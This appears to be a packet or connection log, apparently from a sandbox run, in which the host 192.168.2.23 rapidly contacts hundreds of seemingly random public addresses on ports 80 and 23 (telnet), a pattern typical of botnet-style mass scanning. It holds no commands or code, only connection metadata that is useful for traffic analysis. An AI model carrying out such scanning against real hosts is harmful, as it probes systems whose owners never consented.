Dec 3, 2024 23:16:49.188522100 CET	40596	80	192.168.2.23	130.97.136.109
Dec 3, 2024 23:16:49.188529968 CET	40596	80	192.168.2.23	194.28.211.63
Dec 3, 2024 23:16:49.188538074 CET	40596	80	192.168.2.23	45.93.141.148
Dec 3, 2024 23:16:49.188539982 CET	40596	80	192.168.2.23	116.31.175.169
Dec 3, 2024 23:16:49.188545942 CET	40596	80	192.168.2.23	76.183.118.237
Dec 3, 2024 23:16:49.188549995 CET	40596	80	192.168.2.23	174.150.47.219
Dec 3, 2024 23:16:49.188568115 CET	40596	80	192.168.2.23	110.33.54.37
Dec 3, 2024 23:16:49.188574076 CET	40596	80	192.168.2.23	129.34.45.9
Dec 3, 2024 23:16:49.188576937 CET	40596	80	192.168.2.23	78.118.224.241
Dec 3, 2024 23:16:49.188590050 CET	40596	80	192.168.2.23	113.59.221.189
Dec 3, 2024 23:16:49.188590050 CET	40596	80	192.168.2.23	132.20.124.58
Dec 3, 2024 23:16:49.188595057 CET	40596	80	192.168.2.23	141.67.175.98
Dec 3, 2024 23:16:49.188595057 CET	40596	80	192.168.2.23	218.149.30.202
Dec 3, 2024 23:16:49.188595057 CET	40596	80	192.168.2.23	148.151.223.251
Dec 3, 2024 23:16:49.188599110 CET	40596	80	192.168.2.23	213.180.215.191
Dec 3, 2024 23:16:49.188613892 CET	40596	80	192.168.2.23	124.31.121.246
Dec 3, 2024 23:16:49.188613892 CET	40596	80	192.168.2.23	49.180.182.59
Dec 3, 2024 23:16:49.188620090 CET	40596	80	192.168.2.23	142.205.163.30
Dec 3, 2024 23:16:49.188620090 CET	40596	80	192.168.2.23	121.9.30.135
Dec 3, 2024 23:16:49.188632011 CET	40596	80	192.168.2.23	44.27.179.90
Dec 3, 2024 23:16:49.188632011 CET	40596	80	192.168.2.23	198.23.60.29
Dec 3, 2024 23:16:49.188642979 CET	40596	80	192.168.2.23	25.157.67.102
Dec 3, 2024 23:16:49.188649893 CET	40596	80	192.168.2.23	67.64.211.235
Dec 3, 2024 23:16:49.188651085 CET	40596	80	192.168.2.23	194.142.60.186
Dec 3, 2024 23:16:49.188653946 CET	40596	80	192.168.2.23	125.34.205.5
Dec 3, 2024 23:16:49.188653946 CET	40596	80	192.168.2.23	1.142.234.3
Dec 3, 2024 23:16:49.188657045 CET	40596	80	192.168.2.23	95.214.177.165
Dec 3, 2024 23:16:49.188661098 CET	40596	80	192.168.2.23	94.95.94.208
Dec 3, 2024 23:16:49.188673019 CET	40596	80	192.168.2.23	186.39.189.73
Dec 3, 2024 23:16:49.188678026 CET	40596	80	192.168.2.23	210.131.70.161
Dec 3, 2024 23:16:49.188678026 CET	40596	80	192.168.2.23	188.184.1.208
Dec 3, 2024 23:16:49.188685894 CET	40596	80	192.168.2.23	42.131.140.143
Dec 3, 2024 23:16:49.188694954 CET	40596	80	192.168.2.23	152.87.197.44
Dec 3, 2024 23:16:49.188699961 CET	40596	80	192.168.2.23	144.220.179.211
Dec 3, 2024 23:16:49.188699961 CET	40596	80	192.168.2.23	217.171.173.194
Dec 3, 2024 23:16:49.188716888 CET	40596	80	192.168.2.23	103.196.189.110
Dec 3, 2024 23:16:49.188721895 CET	40596	80	192.168.2.23	221.186.16.232
Dec 3, 2024 23:16:49.188721895 CET	40596	80	192.168.2.23	207.18.5.72
Dec 3, 2024 23:16:49.188726902 CET	40596	80	192.168.2.23	60.230.93.162
Dec 3, 2024 23:16:49.188730955 CET	40596	80	192.168.2.23	203.33.170.228
Dec 3, 2024 23:16:49.188743114 CET	40596	80	192.168.2.23	93.0.34.152
Dec 3, 2024 23:16:49.188750029 CET	40596	80	192.168.2.23	94.140.240.222
Dec 3, 2024 23:16:49.188750029 CET	40596	80	192.168.2.23	91.133.110.1
Dec 3, 2024 23:16:49.188760042 CET	40596	80	192.168.2.23	122.175.81.232
Dec 3, 2024 23:16:49.188766003 CET	40596	80	192.168.2.23	53.109.251.38
Dec 3, 2024 23:16:49.188767910 CET	40596	80	192.168.2.23	49.62.28.217
Dec 3, 2024 23:16:49.188767910 CET	40596	80	192.168.2.23	219.199.112.94
Dec 3, 2024 23:16:49.188771963 CET	40596	80	192.168.2.23	172.88.186.198
Dec 3, 2024 23:16:49.188772917 CET	40596	80	192.168.2.23	63.25.237.59
Dec 3, 2024 23:16:49.188772917 CET	40596	80	192.168.2.23	185.66.78.179
Dec 3, 2024 23:16:49.188780069 CET	40596	80	192.168.2.23	64.187.29.253
Dec 3, 2024 23:16:49.188786030 CET	40596	80	192.168.2.23	47.217.13.111
Dec 3, 2024 23:16:49.188795090 CET	40596	80	192.168.2.23	165.97.126.185
Dec 3, 2024 23:16:49.188798904 CET	40596	80	192.168.2.23	23.101.240.18
Dec 3, 2024 23:16:49.188802004 CET	40596	80	192.168.2.23	25.171.174.147
Dec 3, 2024 23:16:49.188807011 CET	40596	80	192.168.2.23	162.40.247.132
Dec 3, 2024 23:16:49.188807964 CET	40596	80	192.168.2.23	14.69.138.188
Dec 3, 2024 23:16:49.188807964 CET	40596	80	192.168.2.23	116.255.75.93
Dec 3, 2024 23:16:49.188815117 CET	40596	80	192.168.2.23	124.64.243.253
Dec 3, 2024 23:16:49.188827991 CET	40596	80	192.168.2.23	52.97.68.24
Dec 3, 2024 23:16:49.188832998 CET	40596	80	192.168.2.23	125.162.19.104
Dec 3, 2024 23:16:49.188832998 CET	40596	80	192.168.2.23	124.13.107.154
Dec 3, 2024 23:16:49.188833952 CET	40596	80	192.168.2.23	34.26.189.146
Dec 3, 2024 23:16:49.188833952 CET	40596	80	192.168.2.23	46.23.125.197
Dec 3, 2024 23:16:49.188834906 CET	40596	80	192.168.2.23	119.208.58.83
Dec 3, 2024 23:16:49.188858986 CET	40596	80	192.168.2.23	43.228.232.188
Dec 3, 2024 23:16:49.188858986 CET	40596	80	192.168.2.23	119.150.99.10
Dec 3, 2024 23:16:49.188859940 CET	40596	80	192.168.2.23	183.246.141.105
Dec 3, 2024 23:16:49.188860893 CET	40596	80	192.168.2.23	54.65.5.220
Dec 3, 2024 23:16:49.188862085 CET	40596	80	192.168.2.23	20.168.8.85
Dec 3, 2024 23:16:49.188862085 CET	40596	80	192.168.2.23	124.101.200.208
Dec 3, 2024 23:16:49.188880920 CET	40596	80	192.168.2.23	223.75.147.214
Dec 3, 2024 23:16:49.188884020 CET	40596	80	192.168.2.23	79.247.199.166
Dec 3, 2024 23:16:49.188884020 CET	40596	80	192.168.2.23	92.90.208.120
Dec 3, 2024 23:16:49.188885927 CET	40596	80	192.168.2.23	69.130.175.4
Dec 3, 2024 23:16:49.188885927 CET	40596	80	192.168.2.23	185.242.83.198
Dec 3, 2024 23:16:49.188885927 CET	40596	80	192.168.2.23	152.67.233.201
Dec 3, 2024 23:16:49.188889027 CET	40596	80	192.168.2.23	168.119.68.40
Dec 3, 2024 23:16:49.188889980 CET	40596	80	192.168.2.23	151.196.124.246
Dec 3, 2024 23:16:49.188889027 CET	40596	80	192.168.2.23	185.110.69.111
Dec 3, 2024 23:16:49.188906908 CET	40596	80	192.168.2.23	157.173.51.139
Dec 3, 2024 23:16:49.188908100 CET	40596	80	192.168.2.23	168.181.165.107
Dec 3, 2024 23:16:49.188909054 CET	40596	80	192.168.2.23	53.238.45.187
Dec 3, 2024 23:16:49.188916922 CET	40596	80	192.168.2.23	91.5.136.234
Dec 3, 2024 23:16:49.188925028 CET	40596	80	192.168.2.23	124.42.224.219
Dec 3, 2024 23:16:49.188925028 CET	40596	80	192.168.2.23	191.82.221.133
Dec 3, 2024 23:16:49.188930988 CET	40596	80	192.168.2.23	31.228.29.17
Dec 3, 2024 23:16:49.188936949 CET	40596	80	192.168.2.23	59.181.47.248
Dec 3, 2024 23:16:49.188944101 CET	40596	80	192.168.2.23	140.102.229.68
Dec 3, 2024 23:16:49.188944101 CET	40596	80	192.168.2.23	190.157.33.57
Dec 3, 2024 23:16:49.188944101 CET	40596	80	192.168.2.23	164.119.209.105
Dec 3, 2024 23:16:49.188951015 CET	40596	80	192.168.2.23	194.250.154.222
Dec 3, 2024 23:16:49.189047098 CET	46594	80	192.168.2.23	107.254.158.162
Dec 3, 2024 23:16:49.189047098 CET	57528	80	192.168.2.23	186.45.45.229
Dec 3, 2024 23:16:49.189053059 CET	36526	80	192.168.2.23	88.109.144.121
Dec 3, 2024 23:16:49.189070940 CET	58302	80	192.168.2.23	192.62.46.240
Dec 3, 2024 23:16:49.189074039 CET	35196	80	192.168.2.23	116.59.162.85
Dec 3, 2024 23:16:49.189078093 CET	42810	80	192.168.2.23	177.95.70.145
Dec 3, 2024 23:16:49.189078093 CET	59082	80	192.168.2.23	181.16.202.67
Dec 3, 2024 23:16:49.189100027 CET	46904	80	192.168.2.23	134.104.83.77
Dec 3, 2024 23:16:49.189100027 CET	46904	80	192.168.2.23	134.104.83.77
Dec 3, 2024 23:16:49.189519882 CET	46958	80	192.168.2.23	134.104.83.77
Dec 3, 2024 23:16:49.189881086 CET	37540	80	192.168.2.23	41.76.192.116
Dec 3, 2024 23:16:49.189881086 CET	37540	80	192.168.2.23	41.76.192.116
Dec 3, 2024 23:16:49.190154076 CET	37594	80	192.168.2.23	41.76.192.116
Dec 3, 2024 23:16:49.190496922 CET	50074	80	192.168.2.23	112.198.79.120
Dec 3, 2024 23:16:49.190496922 CET	50074	80	192.168.2.23	112.198.79.120
Dec 3, 2024 23:16:49.190769911 CET	50126	80	192.168.2.23	112.198.79.120
Dec 3, 2024 23:16:49.191178083 CET	44158	80	192.168.2.23	131.115.153.201
Dec 3, 2024 23:16:49.191178083 CET	44158	80	192.168.2.23	131.115.153.201
Dec 3, 2024 23:16:49.191437006 CET	44220	80	192.168.2.23	131.115.153.201
Dec 3, 2024 23:16:49.191777945 CET	44118	80	192.168.2.23	154.175.128.164
Dec 3, 2024 23:16:49.191777945 CET	44118	80	192.168.2.23	154.175.128.164
Dec 3, 2024 23:16:49.192053080 CET	44176	80	192.168.2.23	154.175.128.164
Dec 3, 2024 23:16:49.192404985 CET	33170	80	192.168.2.23	64.184.219.41
Dec 3, 2024 23:16:49.192404985 CET	33170	80	192.168.2.23	64.184.219.41
Dec 3, 2024 23:16:49.192671061 CET	33224	80	192.168.2.23	64.184.219.41
Dec 3, 2024 23:16:49.312084913 CET	80	40596	176.69.242.94	192.168.2.23
Dec 3, 2024 23:16:49.312119961 CET	80	40596	95.58.153.193	192.168.2.23
Dec 3, 2024 23:16:49.312129974 CET	80	40596	90.249.44.175	192.168.2.23
Dec 3, 2024 23:16:49.312138081 CET	80	40596	138.192.209.119	192.168.2.23
Dec 3, 2024 23:16:49.312156916 CET	80	40596	117.110.109.99	192.168.2.23
Dec 3, 2024 23:16:49.312172890 CET	80	40596	49.209.5.244	192.168.2.23
Dec 3, 2024 23:16:49.312194109 CET	80	40596	74.123.234.35	192.168.2.23
Dec 3, 2024 23:16:49.312203884 CET	80	40596	145.33.190.157	192.168.2.23
Dec 3, 2024 23:16:49.312212944 CET	80	40596	32.125.248.35	192.168.2.23
Dec 3, 2024 23:16:49.312241077 CET	80	40596	217.189.104.34	192.168.2.23
Dec 3, 2024 23:16:49.312252998 CET	40596	80	192.168.2.23	74.123.234.35
Dec 3, 2024 23:16:49.312253952 CET	40596	80	192.168.2.23	117.110.109.99
Dec 3, 2024 23:16:49.312257051 CET	80	40596	217.19.114.229	192.168.2.23
Dec 3, 2024 23:16:49.312257051 CET	40596	80	192.168.2.23	138.192.209.119
Dec 3, 2024 23:16:49.312257051 CET	40596	80	192.168.2.23	176.69.242.94
Dec 3, 2024 23:16:49.312263966 CET	40596	80	192.168.2.23	145.33.190.157
Dec 3, 2024 23:16:49.312263966 CET	40596	80	192.168.2.23	32.125.248.35
Dec 3, 2024 23:16:49.312267065 CET	80	48296	75.96.152.124	192.168.2.23
Dec 3, 2024 23:16:49.312272072 CET	40596	80	192.168.2.23	95.58.153.193
Dec 3, 2024 23:16:49.312275887 CET	80	48296	75.96.152.124	192.168.2.23
Dec 3, 2024 23:16:49.312278032 CET	40596	80	192.168.2.23	90.249.44.175
Dec 3, 2024 23:16:49.312280893 CET	40596	80	192.168.2.23	49.209.5.244
Dec 3, 2024 23:16:49.312285900 CET	40596	80	192.168.2.23	217.189.104.34
Dec 3, 2024 23:16:49.312285900 CET	80	40596	193.206.198.78	192.168.2.23
Dec 3, 2024 23:16:49.312288046 CET	40596	80	192.168.2.23	217.19.114.229
Dec 3, 2024 23:16:49.312297106 CET	80	40596	69.10.3.184	192.168.2.23
Dec 3, 2024 23:16:49.312302113 CET	80	40596	135.89.3.44	192.168.2.23
Dec 3, 2024 23:16:49.312316895 CET	48296	80	192.168.2.23	75.96.152.124
Dec 3, 2024 23:16:49.312341928 CET	40596	80	192.168.2.23	193.206.198.78
Dec 3, 2024 23:16:49.312344074 CET	40596	80	192.168.2.23	69.10.3.184
Dec 3, 2024 23:16:49.312344074 CET	40596	80	192.168.2.23	135.89.3.44
Dec 3, 2024 23:16:49.312362909 CET	80	40596	41.75.167.181	192.168.2.23
Dec 3, 2024 23:16:49.312372923 CET	80	40596	175.204.245.90	192.168.2.23
Dec 3, 2024 23:16:49.312381029 CET	80	40596	181.49.1.9	192.168.2.23
Dec 3, 2024 23:16:49.312391043 CET	80	40596	110.74.199.97	192.168.2.23
Dec 3, 2024 23:16:49.312398911 CET	80	40596	36.177.131.90	192.168.2.23
Dec 3, 2024 23:16:49.312402964 CET	40596	80	192.168.2.23	41.75.167.181
Dec 3, 2024 23:16:49.312403917 CET	40596	80	192.168.2.23	175.204.245.90
Dec 3, 2024 23:16:49.312410116 CET	80	40596	206.218.156.58	192.168.2.23
Dec 3, 2024 23:16:49.312411070 CET	40596	80	192.168.2.23	181.49.1.9
Dec 3, 2024 23:16:49.312418938 CET	40596	80	192.168.2.23	110.74.199.97
Dec 3, 2024 23:16:49.312418938 CET	80	40596	207.44.6.28	192.168.2.23
Dec 3, 2024 23:16:49.312437057 CET	40596	80	192.168.2.23	36.177.131.90
Dec 3, 2024 23:16:49.312443972 CET	40596	80	192.168.2.23	206.218.156.58
Dec 3, 2024 23:16:49.312449932 CET	40596	80	192.168.2.23	207.44.6.28
Dec 3, 2024 23:16:49.312851906 CET	80	46904	134.104.83.77	192.168.2.23
Dec 3, 2024 23:16:49.313114882 CET	80	57528	186.45.45.229	192.168.2.23
Dec 3, 2024 23:16:49.313154936 CET	57528	80	192.168.2.23	186.45.45.229
Dec 3, 2024 23:16:49.313219070 CET	80	59082	181.16.202.67	192.168.2.23
Dec 3, 2024 23:16:49.313261032 CET	59082	80	192.168.2.23	181.16.202.67
Dec 3, 2024 23:16:49.313677073 CET	80	37540	41.76.192.116	192.168.2.23
Dec 3, 2024 23:16:49.313777924 CET	80	36526	88.109.144.121	192.168.2.23
Dec 3, 2024 23:16:49.313817978 CET	36526	80	192.168.2.23	88.109.144.121
Dec 3, 2024 23:16:49.314089060 CET	80	58302	192.62.46.240	192.168.2.23
Dec 3, 2024 23:16:49.314132929 CET	58302	80	192.168.2.23	192.62.46.240
Dec 3, 2024 23:16:49.314171076 CET	80	50074	112.198.79.120	192.168.2.23
Dec 3, 2024 23:16:49.314421892 CET	80	42810	177.95.70.145	192.168.2.23
Dec 3, 2024 23:16:49.314464092 CET	42810	80	192.168.2.23	177.95.70.145
Dec 3, 2024 23:16:49.314728975 CET	80	35196	116.59.162.85	192.168.2.23
Dec 3, 2024 23:16:49.314770937 CET	35196	80	192.168.2.23	116.59.162.85
Dec 3, 2024 23:16:49.314975023 CET	80	44158	131.115.153.201	192.168.2.23
Dec 3, 2024 23:16:49.315030098 CET	80	46594	107.254.158.162	192.168.2.23
Dec 3, 2024 23:16:49.315066099 CET	46594	80	192.168.2.23	107.254.158.162
Dec 3, 2024 23:16:49.315493107 CET	80	44220	131.115.153.201	192.168.2.23
Dec 3, 2024 23:16:49.315501928 CET	80	44118	154.175.128.164	192.168.2.23
Dec 3, 2024 23:16:49.315535069 CET	44220	80	192.168.2.23	131.115.153.201
Dec 3, 2024 23:16:49.315567970 CET	44220	80	192.168.2.23	131.115.153.201
Dec 3, 2024 23:16:49.315902948 CET	35992	80	192.168.2.23	176.69.242.94
Dec 3, 2024 23:16:49.316046953 CET	80	33170	64.184.219.41	192.168.2.23
Dec 3, 2024 23:16:49.316514969 CET	42146	80	192.168.2.23	138.192.209.119
Dec 3, 2024 23:16:49.317115068 CET	48708	80	192.168.2.23	117.110.109.99
Dec 3, 2024 23:16:49.317714930 CET	32982	80	192.168.2.23	74.123.234.35
Dec 3, 2024 23:16:49.318315983 CET	35066	80	192.168.2.23	145.33.190.157
Dec 3, 2024 23:16:49.318921089 CET	56466	80	192.168.2.23	32.125.248.35
Dec 3, 2024 23:16:49.319523096 CET	53118	80	192.168.2.23	95.58.153.193
Dec 3, 2024 23:16:49.320137978 CET	50600	80	192.168.2.23	90.249.44.175
Dec 3, 2024 23:16:49.320723057 CET	48300	80	192.168.2.23	49.209.5.244
Dec 3, 2024 23:16:49.321315050 CET	52612	80	192.168.2.23	217.189.104.34
Dec 3, 2024 23:16:49.321914911 CET	45074	80	192.168.2.23	217.19.114.229
Dec 3, 2024 23:16:49.322537899 CET	60176	80	192.168.2.23	193.206.198.78
Dec 3, 2024 23:16:49.323149920 CET	56428	80	192.168.2.23	69.10.3.184
Dec 3, 2024 23:16:49.323743105 CET	44382	80	192.168.2.23	135.89.3.44
Dec 3, 2024 23:16:49.324332952 CET	38022	80	192.168.2.23	41.75.167.181
Dec 3, 2024 23:16:49.324906111 CET	33214	80	192.168.2.23	175.204.245.90
Dec 3, 2024 23:16:49.325485945 CET	52298	80	192.168.2.23	181.49.1.9
Dec 3, 2024 23:16:49.326047897 CET	46738	80	192.168.2.23	110.74.199.97
Dec 3, 2024 23:16:49.326641083 CET	59832	80	192.168.2.23	36.177.131.90
Dec 3, 2024 23:16:49.327217102 CET	36520	80	192.168.2.23	206.218.156.58
Dec 3, 2024 23:16:49.327806950 CET	60984	80	192.168.2.23	207.44.6.28
Dec 3, 2024 23:16:49.355925083 CET	80	44118	154.175.128.164	192.168.2.23
Dec 3, 2024 23:16:49.355937004 CET	80	46904	134.104.83.77	192.168.2.23
Dec 3, 2024 23:16:49.355978012 CET	80	44158	131.115.153.201	192.168.2.23
Dec 3, 2024 23:16:49.355987072 CET	80	50074	112.198.79.120	192.168.2.23
Dec 3, 2024 23:16:49.359844923 CET	80	37540	41.76.192.116	192.168.2.23
Dec 3, 2024 23:16:49.363878012 CET	80	33170	64.184.219.41	192.168.2.23
Dec 3, 2024 23:16:49.439552069 CET	80	35992	176.69.242.94	192.168.2.23
Dec 3, 2024 23:16:49.439574003 CET	80	44220	131.115.153.201	192.168.2.23
Dec 3, 2024 23:16:49.439716101 CET	35992	80	192.168.2.23	176.69.242.94
Dec 3, 2024 23:16:49.439723015 CET	44220	80	192.168.2.23	131.115.153.201
Dec 3, 2024 23:16:49.439774036 CET	35992	80	192.168.2.23	176.69.242.94
Dec 3, 2024 23:16:49.439774036 CET	35992	80	192.168.2.23	176.69.242.94
Dec 3, 2024 23:16:49.440148115 CET	36034	80	192.168.2.23	176.69.242.94
Dec 3, 2024 23:16:49.440695047 CET	80	42146	138.192.209.119	192.168.2.23
Dec 3, 2024 23:16:49.440741062 CET	42146	80	192.168.2.23	138.192.209.119
Dec 3, 2024 23:16:49.440790892 CET	42146	80	192.168.2.23	138.192.209.119
Dec 3, 2024 23:16:49.440790892 CET	42146	80	192.168.2.23	138.192.209.119
Dec 3, 2024 23:16:49.441062927 CET	42188	80	192.168.2.23	138.192.209.119
Dec 3, 2024 23:16:49.441287994 CET	80	48708	117.110.109.99	192.168.2.23
Dec 3, 2024 23:16:49.441328049 CET	48708	80	192.168.2.23	117.110.109.99
Dec 3, 2024 23:16:49.441481113 CET	48708	80	192.168.2.23	117.110.109.99
Dec 3, 2024 23:16:49.441481113 CET	48708	80	192.168.2.23	117.110.109.99
Dec 3, 2024 23:16:49.441754103 CET	48750	80	192.168.2.23	117.110.109.99
Dec 3, 2024 23:16:49.441979885 CET	80	32982	74.123.234.35	192.168.2.23
Dec 3, 2024 23:16:49.441989899 CET	80	35066	145.33.190.157	192.168.2.23
Dec 3, 2024 23:16:49.442019939 CET	35066	80	192.168.2.23	145.33.190.157
Dec 3, 2024 23:16:49.442022085 CET	32982	80	192.168.2.23	74.123.234.35
Dec 3, 2024 23:16:49.442172050 CET	32982	80	192.168.2.23	74.123.234.35
Dec 3, 2024 23:16:49.442172050 CET	32982	80	192.168.2.23	74.123.234.35
Dec 3, 2024 23:16:49.442444086 CET	33024	80	192.168.2.23	74.123.234.35
Dec 3, 2024 23:16:49.442787886 CET	35066	80	192.168.2.23	145.33.190.157
Dec 3, 2024 23:16:49.442787886 CET	35066	80	192.168.2.23	145.33.190.157
Dec 3, 2024 23:16:49.443059921 CET	35108	80	192.168.2.23	145.33.190.157
Dec 3, 2024 23:16:49.443264961 CET	80	56466	32.125.248.35	192.168.2.23
Dec 3, 2024 23:16:49.443274021 CET	80	53118	95.58.153.193	192.168.2.23
Dec 3, 2024 23:16:49.443303108 CET	56466	80	192.168.2.23	32.125.248.35
Dec 3, 2024 23:16:49.443305016 CET	53118	80	192.168.2.23	95.58.153.193
Dec 3, 2024 23:16:49.443476915 CET	56466	80	192.168.2.23	32.125.248.35
Dec 3, 2024 23:16:49.443476915 CET	56466	80	192.168.2.23	32.125.248.35
Dec 3, 2024 23:16:49.443751097 CET	56508	80	192.168.2.23	32.125.248.35
Dec 3, 2024 23:16:49.443754911 CET	80	50600	90.249.44.175	192.168.2.23
Dec 3, 2024 23:16:49.443794012 CET	50600	80	192.168.2.23	90.249.44.175
Dec 3, 2024 23:16:49.444086075 CET	53118	80	192.168.2.23	95.58.153.193
Dec 3, 2024 23:16:49.444093943 CET	53118	80	192.168.2.23	95.58.153.193
Dec 3, 2024 23:16:49.444372892 CET	53160	80	192.168.2.23	95.58.153.193
Dec 3, 2024 23:16:49.444771051 CET	50600	80	192.168.2.23	90.249.44.175
Dec 3, 2024 23:16:49.444771051 CET	50600	80	192.168.2.23	90.249.44.175
Dec 3, 2024 23:16:49.444973946 CET	80	48300	49.209.5.244	192.168.2.23
Dec 3, 2024 23:16:49.444983006 CET	80	52612	217.189.104.34	192.168.2.23
Dec 3, 2024 23:16:49.445009947 CET	48300	80	192.168.2.23	49.209.5.244
Dec 3, 2024 23:16:49.445017099 CET	52612	80	192.168.2.23	217.189.104.34
Dec 3, 2024 23:16:49.445048094 CET	50642	80	192.168.2.23	90.249.44.175
Dec 3, 2024 23:16:49.445453882 CET	48300	80	192.168.2.23	49.209.5.244
Dec 3, 2024 23:16:49.445453882 CET	48300	80	192.168.2.23	49.209.5.244
Dec 3, 2024 23:16:49.445621014 CET	80	45074	217.19.114.229	192.168.2.23
Dec 3, 2024 23:16:49.445657969 CET	45074	80	192.168.2.23	217.19.114.229
Dec 3, 2024 23:16:49.445728064 CET	48342	80	192.168.2.23	49.209.5.244
Dec 3, 2024 23:16:49.446053982 CET	52612	80	192.168.2.23	217.189.104.34
Dec 3, 2024 23:16:49.446053982 CET	52612	80	192.168.2.23	217.189.104.34
Dec 3, 2024 23:16:49.446202993 CET	80	60176	193.206.198.78	192.168.2.23
Dec 3, 2024 23:16:49.446237087 CET	60176	80	192.168.2.23	193.206.198.78
Dec 3, 2024 23:16:49.446326017 CET	52654	80	192.168.2.23	217.189.104.34
Dec 3, 2024 23:16:49.446717024 CET	45074	80	192.168.2.23	217.19.114.229
Dec 3, 2024 23:16:49.446717024 CET	45074	80	192.168.2.23	217.19.114.229
Dec 3, 2024 23:16:49.446974993 CET	45116	80	192.168.2.23	217.19.114.229
Dec 3, 2024 23:16:49.447221994 CET	52552	23	192.168.2.23	130.155.72.191
Dec 3, 2024 23:16:49.447221994 CET	47602	23	192.168.2.23	37.234.78.188
Dec 3, 2024 23:16:49.447221994 CET	57728	23	192.168.2.23	184.224.131.118
Dec 3, 2024 23:16:49.447226048 CET	55834	23	192.168.2.23	101.213.242.48
Dec 3, 2024 23:16:49.447231054 CET	45134	23	192.168.2.23	218.100.158.146
Dec 3, 2024 23:16:49.447233915 CET	39186	23	192.168.2.23	222.64.76.248
Dec 3, 2024 23:16:49.447233915 CET	34914	23	192.168.2.23	65.30.3.19
Dec 3, 2024 23:16:49.447242022 CET	52712	23	192.168.2.23	147.189.3.230
Dec 3, 2024 23:16:49.447248936 CET	59298	23	192.168.2.23	112.229.253.40
Dec 3, 2024 23:16:49.447251081 CET	37106	23	192.168.2.23	27.234.229.218
Dec 3, 2024 23:16:49.447252035 CET	35736	23	192.168.2.23	206.68.214.163
Dec 3, 2024 23:16:49.447258949 CET	41214	23	192.168.2.23	121.30.192.117
Dec 3, 2024 23:16:49.447261095 CET	41008	23	192.168.2.23	47.7.97.197
Dec 3, 2024 23:16:49.447262049 CET	41084	23	192.168.2.23	218.67.132.144
Dec 3, 2024 23:16:49.447263002 CET	51456	23	192.168.2.23	119.96.49.132
Dec 3, 2024 23:16:49.447263002 CET	38448	23	192.168.2.23	74.223.132.58
Dec 3, 2024 23:16:49.447267056 CET	57658	23	192.168.2.23	185.71.85.214
Dec 3, 2024 23:16:49.447273016 CET	38034	23	192.168.2.23	31.46.27.143
Dec 3, 2024 23:16:49.447273970 CET	48660	23	192.168.2.23	96.243.144.211
Dec 3, 2024 23:16:49.447276115 CET	56426	23	192.168.2.23	50.131.41.104
Dec 3, 2024 23:16:49.447278976 CET	49238	23	192.168.2.23	32.14.25.100
Dec 3, 2024 23:16:49.447295904 CET	49626	23	192.168.2.23	23.144.252.12
Dec 3, 2024 23:16:49.447295904 CET	45950	23	192.168.2.23	140.78.178.135
Dec 3, 2024 23:16:49.447297096 CET	37946	23	192.168.2.23	135.43.117.122
Dec 3, 2024 23:16:49.447299957 CET	43692	23	192.168.2.23	221.198.169.88
Dec 3, 2024 23:16:49.447299957 CET	42552	23	192.168.2.23	9.231.222.167
Dec 3, 2024 23:16:49.447305918 CET	50028	23	192.168.2.23	115.214.33.197
Dec 3, 2024 23:16:49.447304964 CET	37570	23	192.168.2.23	140.76.10.211
Dec 3, 2024 23:16:49.447304964 CET	39632	23	192.168.2.23	1.139.194.233
Dec 3, 2024 23:16:49.447308064 CET	37142	23	192.168.2.23	139.153.60.41
Dec 3, 2024 23:16:49.447308064 CET	33130	23	192.168.2.23	105.187.135.120
Dec 3, 2024 23:16:49.447308064 CET	54742	23	192.168.2.23	42.51.5.44
Dec 3, 2024 23:16:49.447320938 CET	51098	23	192.168.2.23	185.231.81.163
Dec 3, 2024 23:16:49.447331905 CET	52408	23	192.168.2.23	196.250.179.4
Dec 3, 2024 23:16:49.447331905 CET	40120	23	192.168.2.23	27.84.10.92
Dec 3, 2024 23:16:49.447331905 CET	35824	23	192.168.2.23	54.163.87.119
Dec 3, 2024 23:16:49.447333097 CET	60176	80	192.168.2.23	193.206.198.78
Dec 3, 2024 23:16:49.447331905 CET	50460	23	192.168.2.23	217.31.44.89
Dec 3, 2024 23:16:49.447333097 CET	60176	80	192.168.2.23	193.206.198.78
Dec 3, 2024 23:16:49.447385073 CET	80	44382	135.89.3.44	192.168.2.23
Dec 3, 2024 23:16:49.447419882 CET	44382	80	192.168.2.23	135.89.3.44
Dec 3, 2024 23:16:49.447609901 CET	60218	80	192.168.2.23	193.206.198.78
Dec 3, 2024 23:16:49.448024035 CET	44382	80	192.168.2.23	135.89.3.44
Dec 3, 2024 23:16:49.448024035 CET	44382	80	192.168.2.23	135.89.3.44
Dec 3, 2024 23:16:49.448296070 CET	44422	80	192.168.2.23	135.89.3.44
Dec 3, 2024 23:16:49.479243994 CET	43928	23	192.168.2.23	166.127.178.91
Dec 3, 2024 23:16:49.479244947 CET	55374	23	192.168.2.23	31.226.180.43
Dec 3, 2024 23:16:49.479248047 CET	45524	23	192.168.2.23	104.133.85.82
Dec 3, 2024 23:16:49.511329889 CET	42836	443	192.168.2.23	91.189.91.43
Dec 3, 2024 23:16:49.543235064 CET	53316	23	192.168.2.23	198.189.113.143
Dec 3, 2024 23:16:49.543236017 CET	47608	23	192.168.2.23	161.152.46.196
Dec 3, 2024 23:16:49.543236017 CET	58322	23	192.168.2.23	158.85.95.150
Dec 3, 2024 23:16:49.543246031 CET	57634	23	192.168.2.23	40.109.90.228
Dec 3, 2024 23:16:49.543246031 CET	54388	23	192.168.2.23	82.205.195.109
Dec 3, 2024 23:16:49.543246031 CET	59506	23	192.168.2.23	51.132.249.56
Dec 3, 2024 23:16:49.543247938 CET	48760	23	192.168.2.23	150.173.229.11
Dec 3, 2024 23:16:49.543250084 CET	55286	23	192.168.2.23	151.240.39.152
Dec 3, 2024 23:16:49.543250084 CET	35130	23	192.168.2.23	82.88.141.198
Dec 3, 2024 23:16:49.543260098 CET	50312	23	192.168.2.23	40.155.36.84
Dec 3, 2024 23:16:49.543260098 CET	47724	23	192.168.2.23	57.17.77.51
Dec 3, 2024 23:16:49.543261051 CET	40870	23	192.168.2.23	208.194.164.70
Dec 3, 2024 23:16:49.543261051 CET	32874	23	192.168.2.23	220.222.86.116
Dec 3, 2024 23:16:49.543265104 CET	41148	23	192.168.2.23	48.92.44.82
Dec 3, 2024 23:16:49.543275118 CET	36064	23	192.168.2.23	99.183.248.196
Dec 3, 2024 23:16:49.563520908 CET	80	35992	176.69.242.94	192.168.2.23
Dec 3, 2024 23:16:49.563879013 CET	80	36034	176.69.242.94	192.168.2.23
Dec 3, 2024 23:16:49.564012051 CET	36034	80	192.168.2.23	176.69.242.94
Dec 3, 2024 23:16:49.564012051 CET	36034	80	192.168.2.23	176.69.242.94
Dec 3, 2024 23:16:49.564564943 CET	80	42146	138.192.209.119	192.168.2.23
